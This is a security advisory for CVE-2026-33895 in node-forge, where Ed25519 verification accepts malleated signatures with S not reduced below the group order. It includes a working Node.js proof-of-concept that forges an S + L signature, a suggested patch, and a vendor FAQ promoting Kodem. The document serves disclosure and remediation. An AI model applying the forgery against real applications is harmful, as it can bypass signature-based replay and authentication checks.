CVE-2026-33895

Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.

Impacted Deployments

Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5
Affected versions: tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.

Configuration assumptions:

• Default forge Ed25519 verify API path (ed25519.verify(...)).

Root Cause

In lib/ed25519.js, crypto_sign_open(...) uses the signature's last 32 bytes (S) directly in scalar multiplication:

scalarbase(q, sm.subarray(32));

There is no prior check enforcing S < L (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where S := S + L (mod 2^256) when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.

Reproduction Steps

• Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5.
• Place and run the PoC script (poc.js) with node poc.js in the same level as the forge folder.
• The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (crypto.verify).
• Confirm output includes:

{
	"forge": {
		"original_valid": true,
		"tweaked_valid": true
	},
	"crypto": {
		"original_valid": true,
		"tweaked_valid": false
	}
}

Proof of Concept

Overview:

• Demonstrates a valid control signature and a forged (S + L) signature in one run.
• Uses Node/OpenSSL as a differential verification baseline.
• Observed output on tested commit:

{
    "forge": {
        "original_valid": true,
        "tweaked_valid": true
    },
    "crypto": {
        "original_valid": true,
        "tweaked_valid": false
    }
}

#!/usr/bin/env node
'use strict';

const path = require('path');
const crypto = require('crypto');
const forge = require('./forge');
const ed = forge.ed25519;

const MESSAGE = Buffer.from('dderpym is the coolest man alive!');

// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).
const ED25519_ORDER_L = Buffer.from([
  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
]);

// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.
// This returns a new signature with s := s + L (mod 2^256), plus the carry.
function addLToS(signature) {
  if (!Buffer.isBuffer(signature) || signature.length !== 64) {
    throw new Error('signature must be a 64-byte Buffer');
  }
  const out = Buffer.from(signature);
  let carry = 0;
  for (let i = 0; i < 32; i++) {
    const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.
    const sum = out[idx] + ED25519_ORDER_L[i] + carry;
    out[idx] = sum & 0xff;
    carry = sum >> 8;
  }
  return { sig: out, carry };
}

function toSpkiPem(publicKeyBytes) {
  if (publicKeyBytes.length !== 32) {
    throw new Error('publicKeyBytes must be 32 bytes');
  }
  // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.
  const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);
  const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);
  const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);
  const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);
  const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n');
  return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`;
}

function verifyWithCrypto(publicKey, message, signature) {
  try {
    const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));
    const ok = crypto.verify(null, message, keyObject, signature);
    return { ok };
  } catch (error) {
    return { ok: false, error: error.message };
  }
}

function toResult(label, original, tweaked) {
  return {
    [label]: {
      original_valid: original.ok,
      tweaked_valid: tweaked.ok,
    },
  };
}

function main() {
  const kp = ed.generateKeyPair();
  const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });
  const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });
  const tweaked = addLToS(sig);
  const okTweaked = ed.verify({
    message: MESSAGE,
    signature: tweaked.sig,
    publicKey: kp.publicKey,
  });
  const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);
  const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);
  const result = {
    ...toResult('forge', { ok }, { ok: okTweaked }),
    ...toResult('crypto', cryptoOriginal, cryptoTweaked),
  };
  console.log(JSON.stringify(result, null, 2));
}

main();

Suggested Patch

Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if S >= L).

Here is a patch we tested on our end to resolve the issue, though please verify it on your end:

index f3e6faa..87eb709 100644
--- a/lib/ed25519.js
+++ b/lib/ed25519.js
@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {
     return -1;
   }

+  if(!_isCanonicalSignatureScalar(sm, 32)) {
+    return -1;
+  }
+
   for(i = 0; i < n; ++i) {
     m[i] = sm[i];
   }
@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {
   return mlen;
 }

+function _isCanonicalSignatureScalar(bytes, offset) {
+  var i;
+  // Compare little-endian scalar S against group order L and require S < L.
+  for(i = 31; i >= 0; --i) {
+    if(bytes[offset + i] < L[i]) {
+      return true;
+    }
+    if(bytes[offset + i] > L[i]) {
+      return false;
+    }
+  }
+  // S == L is non-canonical.
+  return false;
+}
+
 function modL(r, x) {
   var carry, i, j, k;
   for(i = 63; i >= 32; --i) {

Resources

• RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4

  • Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l

Credit

This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.

CVE-2026-33895 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.4.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-33895? CVE-2026-33895 is a high-severity security vulnerability in node-forge (npm), affecting versions < 1.4.0. It is fixed in 1.4.0.
2. How severe is CVE-2026-33895? CVE-2026-33895 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of node-forge are affected by CVE-2026-33895? node-forge (npm) versions < 1.4.0 is affected.
4. Is there a fix for CVE-2026-33895? Yes. CVE-2026-33895 is fixed in 1.4.0. Upgrade to this version or later.
5. Is CVE-2026-33895 exploitable, and should I be worried? Whether CVE-2026-33895 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33895 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33895? Upgrade node-forge to 1.4.0 or later.